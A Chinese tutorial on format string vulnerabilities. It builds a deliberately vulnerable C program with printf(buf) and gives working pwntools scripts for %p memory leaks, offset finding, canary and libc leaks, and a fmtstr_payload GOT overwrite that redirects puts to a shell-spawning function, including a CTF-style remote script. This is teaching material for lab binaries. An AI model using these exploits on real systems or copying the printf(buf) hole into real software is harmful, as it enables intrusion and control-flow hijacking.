格式化字符串深入实战:%p 泄露、偏移定位与 %n 任意写

格式化字符串漏洞:printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。
一、现实背景:printf 的错误写法
C 程序员常写的输出代码:
printf(buf); // 错误:buf 被当成格式字符串
printf("%s", buf); // 正确:buf 只是数据
当 buf 内容是 %p 时,printf 会把它当格式说明符,去读取"本不存在的参数"——读到的是栈与寄存器上的值。这造成两类能力:
%p/%s:任意读(泄露内存)。%n:任意写(写入内存)。
二、漏洞程序与编译
fmt.c:
#include <stdio.h>
int main() {
char buf[100];
setvbuf(stdout, NULL, _IONBF, 0);
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf); // 漏洞
return 0;
}
gcc -o fmt fmt.c -fno-stack-protector -no-pie
三、核心步骤 1:%p 泄露
目的:用最便宜的测试确认漏洞,并观察"输入本身出现在参数列表里"这一关键事实。
运行:
./fmt
输入:
%p.%p.%p.%p.%p.%p
实际输出(本机 arm64 实测,Linux x86-64 输出形式一致、地址值不同):
> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70
出现一堆十六进制地址,漏洞确认。注意第 4、5 个值里有 0x70252e70,正是 %p.%p 的 ASCII 字节——说明我们的输入本身也在参数列表里。
为什么能泄露:printf 按格式串逐个取参数。我们没传参数,它就继续往寄存器/栈上读"不存在的参数",读到的都是内存里的真实值。
四、核心步骤 2:偏移定位
目的:确定"我们的输入位于第几个参数",这是所有精确利用的前提。
思路:在输入开头放 4 个 A,用 %N$p 逐个位置试探;哪个位置输出 0x41414141,哪个位置就是输入起点。
要精确利用,需要知道"我们的输入位于第几个参数"。
运行:
./fmt
输入:
AAAA.%6$p
预期输出(Linux x86-64 典型情况):
> AAAA.0x41414141
出现 0x41414141(AAAA 的十六进制),说明 buf 起始位置是第 6 个参数,偏移 = 6。不同程序偏移不同(常见 6-10),确认方法就是逐个数:
from pwn import *
for i in range(1, 15):
p = process('./fmt')
p.recvuntil(b'> ')
p.sendline(f'AAAA.%{i}$p'.encode())
# f'AAAA.%{i}$p':构造 "AAAA.%1$p"、"AAAA.%2$p" ... 依次试探。
# .encode():字符串转成字节串才能 sendline。
out = p.recvall()
if b'0x41414141' in out:
# 0x41414141 就是 AAAA 的十六进制,说明第 i 个参数是输入起点。
print(f'offset = {i}')
break
预期输出:offset = 6。
为什么从 6 开始:x86-64 调用约定前 6 个整数参数用寄存器(rdi, rsi, rdx, rcx, r8, r9),printf 自己占 rdi,所以 %1$p 到 %5$p 对应 rsi 到 r9,%6$p 开始读栈。
五、核心步骤 3:泄露 canary 与 libc
目的:把栈上的关键保护值(canary)与库地址(libc)泄露出来,供后续利用。
思路:不同数据在栈上有固定特征——canary 以 00 结尾,libc 地址以 0x7f 开头。扫描一段偏移后按特征识别。
把 %6$p 到 %40$p 全部打出来,识别特征值:
| 值特征 | 内容 |
|---|---|
以 00 结尾的随机值 | canary |
0x7fff 开头 | 栈地址 |
0x55/0x56 开头 | 程序代码地址(PIE 基址相关) |
0x7f 开头 | libc 地址 |
payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))
# 生成 "%6$p.%7$p....%39$p",一次打出一串值。
p.sendline(payload)
out = p.recvall().decode().split('.')
# 按点号切分,得到每个位置的值。
for i, v in enumerate(out):
if v.endswith('00') and len(v) == 18:
# 16 位十六进制 + 结尾 00:符合 canary 的典型形态。
print(f'possible canary at {i+6}: {v}')
泄露 libc 地址后:
libc.address = leaked_libc_addr - libc.symbols['puts']
与 ret2libc 的"先泄露再计算"思路完全一致。
六、核心步骤 4:%n 任意写
目的:理解"写内存"的原语,为覆盖 GOT 做准备。
思路:%n 把"已打印字符数"写入参数指向的地址。先用 %100c 精确控制打印量,再用 %N$n 写到目标地址。
%n 把"当前已经打印的字符数"写入参数指向的地址:
%100c%7$n
执行过程:
%100c打印 100 个填充字符,已打印数变成 100。%7$n把 100 写入第 7 个参数指向的地址。
所以如果第 7 个参数恰好是我们输入里的一个地址,就能往那个地址写 100。写入宽度控制:
| 说明符 | 写入字节数 |
|---|---|
%n | 4 字节 |
%hn | 2 字节 |
%hhn | 1 字节 |
七、核心步骤 5:fmtstr_payload 覆盖 GOT
目的:把程序即将调用的 puts 改成我们的 win,实现控制流劫持。
思路:puts@got 存的是 puts 真实地址;程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址,下一次调用就变成执行 win。验证方式:发送 payload 后看是否进入 shell。
目标程序 fmt2.c:
#include <stdio.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
int main() {
char buf[100];
setvbuf(stdout, NULL, _IONBF, 0);
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf); // 漏洞
puts("Done"); // 触发 puts@got → win
return 0;
}
gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie
pwn checksec ./fmt2 # 需为 Partial RELRO,GOT 可写
利用脚本:
from pwn import *
context.binary = elf = ELF('./fmt2')
# context.binary 让 pwntools 自动识别架构与位数。
p = process('./fmt2')
offset = 6
payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})
# fmtstr_payload(offset, writes):
# 第一个参数 offset:输入在参数列表中的位置;
# 第二个参数是字典 {目标地址: 要写入的值}。
# 函数内部自动完成:把 win 地址拆成两个 2 字节,
# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。
p.sendline(payload)
p.interactive()
fmtstr_payload 自动完成:
- 把
win地址拆成低 2 字节和高 2 字节。 - 生成
%c控制打印量。 - 把两个目标地址(
puts@got、puts@got+2)放到对应参数位置。 - 用
%hn分别写入。
预期结果:程序执行 puts("Done") 时实际调用 win(),进入 shell。
八、必学工具
| 工具 | 3 个核心功能 | 示例 |
|---|---|---|
| pwntools | fmtstr_payload、FmtStr、sendline/recvuntil | 见上文 |
| checksec | 看 RELRO、Canary、PIE | pwn checksec ./fmt2 |
| GDB(pwndbg) | 断点、看栈、验证参数位置 | break main、x/20gx $rsp |
九、小 CTF 实战
题目:远程运行 fmt2(Partial RELRO、No PIE)。
思路:与本地脚本唯一区别是 remote() 连远程;若远程提示与本地不同,先本地确认 offset 再改。
from pwn import *
context.binary = elf = ELF('./fmt2')
p = remote('1.2.3.4', 10002)
payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()
预期输出:
flag{format_string}
十、小结
格式化字符串提供两种原语:%p/%s 任意读,%n 系列任意写。掌握偏移定位后,既可以泄露 canary/libc 辅助栈溢出,也可以直接覆盖 GOT 或函数指针拿 shell。